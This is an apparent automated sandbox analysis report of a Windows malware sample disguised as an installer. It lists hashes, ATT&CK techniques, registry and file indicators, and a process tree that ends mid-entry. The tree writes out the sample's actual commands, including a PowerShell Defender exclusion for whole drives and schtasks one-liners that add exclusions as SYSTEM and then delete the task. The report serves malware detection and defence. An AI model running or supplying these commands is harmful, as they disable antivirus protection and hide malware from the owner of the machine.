476d0bd5ce81182b014bc928fee0bf9cb1094e13118dd9a6a3892d38857ceb30

Analysis

max time kernel
143s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 00:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.03.exe
Size 30.5MB
Sample261024-aeqstsws2k
SHA256 476d0bd5ce81182b014bc928fee0bf9cb1094e13118dd9a6a3892d38857ceb30
MD5 3f6973db08703b5d2c8ccc4cf88855b0
SHA1 f9ea472b0ec61689d9eeb92b7da8288854cbf61d
SHA512 156091fc4daed8d1c431edad86d9353db636987581ca2c65cb22e9f778d68443188a7011ff7adb50acb92ea1df1b601e856b0613195f1322ca91a26a666d4b40
SSDEEP 196608:zZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYd:YC/p+HuPOc4c
TLSH
T17D67181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	w7hf9d.exe

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\ZEvd5r = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2012	powershell.exe
6100	powershell.exe
5224	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	w7hf9d.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
5856	icacls.exe
4800	icacls.exe
5784	icacls.exe
5820	icacls.exe
4224	icacls.exe
572	icacls.exe
5656	icacls.exe
1892	icacls.exe
2444	icacls.exe
468	icacls.exe
908	takeown.exe
6060	icacls.exe
2664	icacls.exe
5208	takeown.exe
1480	icacls.exe
5876	icacls.exe
1540	icacls.exe
4336	icacls.exe
1876	icacls.exe
4912	icacls.exe
2304	icacls.exe
5936	icacls.exe
4932	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 6 IoCs

pid	Process
2792	WuecnO.exe
2724	WuecnO.exe
552	w7hf9d.exe
672	QfQmX2.exe
5944	QfQmX2.exe
5060	w7hf9d.exe

Loads dropped DLL 6 IoCs

pid	Process
2792	WuecnO.exe
2724	WuecnO.exe
552	w7hf9d.exe
672	QfQmX2.exe
5944	QfQmX2.exe
5060	w7hf9d.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5784	icacls.exe
5876	icacls.exe
2664	icacls.exe
572	icacls.exe
1480	icacls.exe
1540	icacls.exe
5856	icacls.exe
1892	icacls.exe
1876	icacls.exe
468	icacls.exe
2304	icacls.exe
5208	takeown.exe
2444	icacls.exe
4224	icacls.exe
5656	icacls.exe
5820	icacls.exe
4336	icacls.exe
908	takeown.exe
5936	icacls.exe
6060	icacls.exe
4800	icacls.exe
4912	icacls.exe
4932	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\ZEvd5r\\WuecnO.exe\""	WuecnO.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\Qhchik\\w7hf9d.exe\""	w7hf9d.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4136	cmd.exe
6052	cmd.exe
3432	cmd.exe
5880	cmd.exe
3924	cmd.exe
4628	cmd.exe
4348	cmd.exe
1312	cmd.exe
5312	cmd.exe
4320	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	WuecnO.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\7u28AdQiL\XPSPLOG.dll	w7hf9d.exe
File opened for modification	C:\Program Files (x86)\Qhchik	WuecnO.exe
File created	C:\Program Files (x86)\Qhchik\XPSPLOG.dll	WuecnO.exe
File opened for modification	C:\Program Files (x86)\Qhchik\XPSPLOG.dll	WuecnO.exe
File created	C:\Program Files (x86)\7u28AdQiL\image.png	w7hf9d.exe
File opened for modification	C:\Program Files (x86)\7u28AdQiL\image.png	w7hf9d.exe
File opened for modification	C:\Program Files (x86)\7u28AdQiL\thumbs.db	w7hf9d.exe
File opened for modification	C:\Program Files (x86)\7u28AdQiL\QfQmX2.exe	w7hf9d.exe
File opened for modification	C:\Program Files (x86)\7u28AdQiL\XPSPLOG.dll	w7hf9d.exe
File created	C:\Program Files (x86)\Qhchik\thumbs.db	WuecnO.exe
File opened for modification	C:\Program Files (x86)\7u28AdQiL	w7hf9d.exe
File created	C:\Program Files (x86)\7u28AdQiL\thumbs.db	w7hf9d.exe
File created	C:\Program Files (x86)\Qhchik\w7hf9d.exe	WuecnO.exe
File opened for modification	C:\Program Files (x86)\Qhchik\image.png	WuecnO.exe
File opened for modification	C:\Program Files (x86)\Qhchik\thumbs.db	WuecnO.exe
File created	C:\Program Files (x86)\Qhchik\image.png	WuecnO.exe
File opened for modification	C:\Program Files (x86)\Qhchik\w7hf9d.exe	WuecnO.exe
File created	C:\Program Files (x86)\7u28AdQiL\QfQmX2.exe	w7hf9d.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3952	sc.exe
4924	sc.exe
4520	sc.exe
1396	sc.exe
4364	sc.exe
5128	sc.exe
3080	sc.exe
3368	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	w7hf9d.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\ScreenSaveActive = "0"	w7hf9d.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\SCRNSAVE.EXE	w7hf9d.exe

Executes a command shell one-liner 1 TTPs 27 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1716	cmd.exe
1496	cmd.exe
1244	cmd.exe
1284	cmd.exe
2084	cmd.exe
3452	cmd.exe
3448	cmd.exe
5372	cmd.exe
2008	cmd.exe
1004	cmd.exe
2516	cmd.exe
1108	cmd.exe
3340	cmd.exe
556	cmd.exe
3328	cmd.exe
2956	cmd.exe
1304	cmd.exe
1380	cmd.exe
2704	cmd.exe
3100	cmd.exe
4176	cmd.exe
5276	cmd.exe
1488	cmd.exe
3940	cmd.exe
5748	cmd.exe
5492	cmd.exe
1096	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WuecnO.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	w7hf9d.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	w7hf9d.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.03.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.03.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WuecnO.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	QfQmX2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	w7hf9d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	QfQmX2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	w7hf9d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	w7hf9d.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	w7hf9d.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\SCRNSAVE.EXE	w7hf9d.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\ScreenSaveActive = "0"	w7hf9d.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2988	schtasks.exe
4416	schtasks.exe
4116	schtasks.exe
5152	schtasks.exe
4712	schtasks.exe
5124	schtasks.exe
4764	schtasks.exe
3156	schtasks.exe
3504	schtasks.exe
4160	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
3368	install.2.0.03.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe
2792	WuecnO.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 49 IoCs

description	pid	Process
Token: SeDebugPrivilege	6100	powershell.exe
Token: SeIncreaseQuotaPrivilege	6100	powershell.exe
Token: SeSecurityPrivilege	6100	powershell.exe
Token: SeTakeOwnershipPrivilege	6100	powershell.exe
Token: SeLoadDriverPrivilege	6100	powershell.exe
Token: SeSystemProfilePrivilege	6100	powershell.exe
Token: SeSystemtimePrivilege	6100	powershell.exe
Token: SeProfSingleProcessPrivilege	6100	powershell.exe
Token: SeIncBasePriorityPrivilege	6100	powershell.exe
Token: SeCreatePagefilePrivilege	6100	powershell.exe
Token: SeBackupPrivilege	6100	powershell.exe
Token: SeRestorePrivilege	6100	powershell.exe
Token: SeShutdownPrivilege	6100	powershell.exe
Token: SeDebugPrivilege	6100	powershell.exe
Token: SeSystemEnvironmentPrivilege	6100	powershell.exe
Token: SeRemoteShutdownPrivilege	6100	powershell.exe
Token: SeUndockPrivilege	6100	powershell.exe
Token: SeManageVolumePrivilege	6100	powershell.exe
Token: 33	6100	powershell.exe
Token: 34	6100	powershell.exe
Token: 35	6100	powershell.exe
Token: 36	6100	powershell.exe
Token: SeDebugPrivilege	5224	powershell.exe
Token: SeTakeOwnershipPrivilege	908	takeown.exe
Token: SeRestorePrivilege	5936	icacls.exe
Token: SeTakeOwnershipPrivilege	5208	takeown.exe
Token: SeRestorePrivilege	572	icacls.exe
Token: SeDebugPrivilege	2012	powershell.exe
Token: SeIncreaseQuotaPrivilege	5224	powershell.exe
Token: SeSecurityPrivilege	5224	powershell.exe
Token: SeTakeOwnershipPrivilege	5224	powershell.exe
Token: SeLoadDriverPrivilege	5224	powershell.exe
Token: SeSystemProfilePrivilege	5224	powershell.exe
Token: SeSystemtimePrivilege	5224	powershell.exe
Token: SeProfSingleProcessPrivilege	5224	powershell.exe
Token: SeIncBasePriorityPrivilege	5224	powershell.exe
Token: SeCreatePagefilePrivilege	5224	powershell.exe
Token: SeBackupPrivilege	5224	powershell.exe
Token: SeRestorePrivilege	5224	powershell.exe
Token: SeShutdownPrivilege	5224	powershell.exe
Token: SeDebugPrivilege	5224	powershell.exe
Token: SeSystemEnvironmentPrivilege	5224	powershell.exe
Token: SeRemoteShutdownPrivilege	5224	powershell.exe
Token: SeUndockPrivilege	5224	powershell.exe
Token: SeManageVolumePrivilege	5224	powershell.exe
Token: 33	5224	powershell.exe
Token: 34	5224	powershell.exe
Token: 35	5224	powershell.exe
Token: 36	5224	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2792 wrote to memory of 6100	2792	WuecnO.exe	92
PID 2792 wrote to memory of 4320	2792	WuecnO.exe	94
PID 4320 wrote to memory of 2988	4320	cmd.exe	96
PID 4320 wrote to memory of 1936	4320	cmd.exe	97
PID 2792 wrote to memory of 5880	2792	WuecnO.exe	103
PID 4320 wrote to memory of 616	4320	cmd.exe	102
PID 5880 wrote to memory of 4416	5880	cmd.exe	105
PID 2792 wrote to memory of 3924	2792	WuecnO.exe	107
PID 3924 wrote to memory of 4116	3924	cmd.exe	109
PID 5880 wrote to memory of 5496	5880	cmd.exe	110
PID 3924 wrote to memory of 3824	3924	cmd.exe	112
PID 2792 wrote to memory of 4136	2792	WuecnO.exe	113
PID 5880 wrote to memory of 4536	5880	cmd.exe	115
PID 3924 wrote to memory of 556	3924	cmd.exe	116
PID 4136 wrote to memory of 5152	4136	cmd.exe	117
PID 4136 wrote to memory of 2336	4136	cmd.exe	118
PID 4136 wrote to memory of 1912	4136	cmd.exe	120
PID 2792 wrote to memory of 4628	2792	WuecnO.exe	121
PID 4628 wrote to memory of 4712	4628	cmd.exe	123
PID 4628 wrote to memory of 2932	4628	cmd.exe	124
PID 4628 wrote to memory of 1872	4628	cmd.exe	130
PID 5372 wrote to memory of 4600	5372	cmd.exe	132
PID 3452 wrote to memory of 5348	3452	cmd.exe	133
PID 3448 wrote to memory of 5064	3448	cmd.exe	134
PID 2008 wrote to memory of 4476	2008	cmd.exe	135
PID 2792 wrote to memory of 552	2792	WuecnO.exe	136
PID 552 wrote to memory of 4176	552	w7hf9d.exe	138
PID 552 wrote to memory of 3340	552	w7hf9d.exe	140
PID 552 wrote to memory of 1004	552	w7hf9d.exe	142
PID 3340 wrote to memory of 1540	3340	cmd.exe	144
PID 552 wrote to memory of 5276	552	w7hf9d.exe	145
PID 5276 wrote to memory of 5856	5276	cmd.exe	147
PID 552 wrote to memory of 1488	552	w7hf9d.exe	149
PID 1488 wrote to memory of 1892	1488	cmd.exe	151
PID 552 wrote to memory of 2084	552	w7hf9d.exe	152
PID 2084 wrote to memory of 4800	2084	cmd.exe	154
PID 552 wrote to memory of 3100	552	w7hf9d.exe	155
PID 3100 wrote to memory of 468	3100	cmd.exe	157
PID 552 wrote to memory of 5748	552	w7hf9d.exe	158
PID 5748 wrote to memory of 2444	5748	cmd.exe	160
PID 552 wrote to memory of 1380	552	w7hf9d.exe	161
PID 1380 wrote to memory of 1876	1380	cmd.exe	163
PID 552 wrote to memory of 556	552	w7hf9d.exe	164
PID 556 wrote to memory of 4224	556	cmd.exe	166
PID 552 wrote to memory of 1304	552	w7hf9d.exe	167
PID 1304 wrote to memory of 5656	1304	cmd.exe	169
PID 552 wrote to memory of 3940	552	w7hf9d.exe	170
PID 3940 wrote to memory of 5784	3940	cmd.exe	172
PID 552 wrote to memory of 3328	552	w7hf9d.exe	173
PID 3328 wrote to memory of 5876	3328	cmd.exe	175
PID 552 wrote to memory of 1716	552	w7hf9d.exe	176
PID 1716 wrote to memory of 5820	1716	cmd.exe	178
PID 552 wrote to memory of 1108	552	w7hf9d.exe	179
PID 1108 wrote to memory of 2664	1108	cmd.exe	181
PID 552 wrote to memory of 2956	552	w7hf9d.exe	182
PID 2956 wrote to memory of 4912	2956	cmd.exe	184
PID 552 wrote to memory of 2516	552	w7hf9d.exe	185
PID 2516 wrote to memory of 4336	2516	cmd.exe	187
PID 552 wrote to memory of 5224	552	w7hf9d.exe	190
PID 552 wrote to memory of 4348	552	w7hf9d.exe	192
PID 552 wrote to memory of 5492	552	w7hf9d.exe	194
PID 4348 wrote to memory of 5124	4348	cmd.exe	196
PID 5492 wrote to memory of 3276	5492	cmd.exe	197
PID 3276 wrote to memory of 4424	3276	net.exe	198

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	w7hf9d.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.03.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.03.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:3368

C:\Users\Public\ZEvd5r\WuecnO.exe
"C:\Users\Public\ZEvd5r\WuecnO.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:6100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ZEvd5r\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ZEvd5r\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2988
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1936
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5880
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4416
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5496
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4536
- C:\Windows\System32\cmd.exe
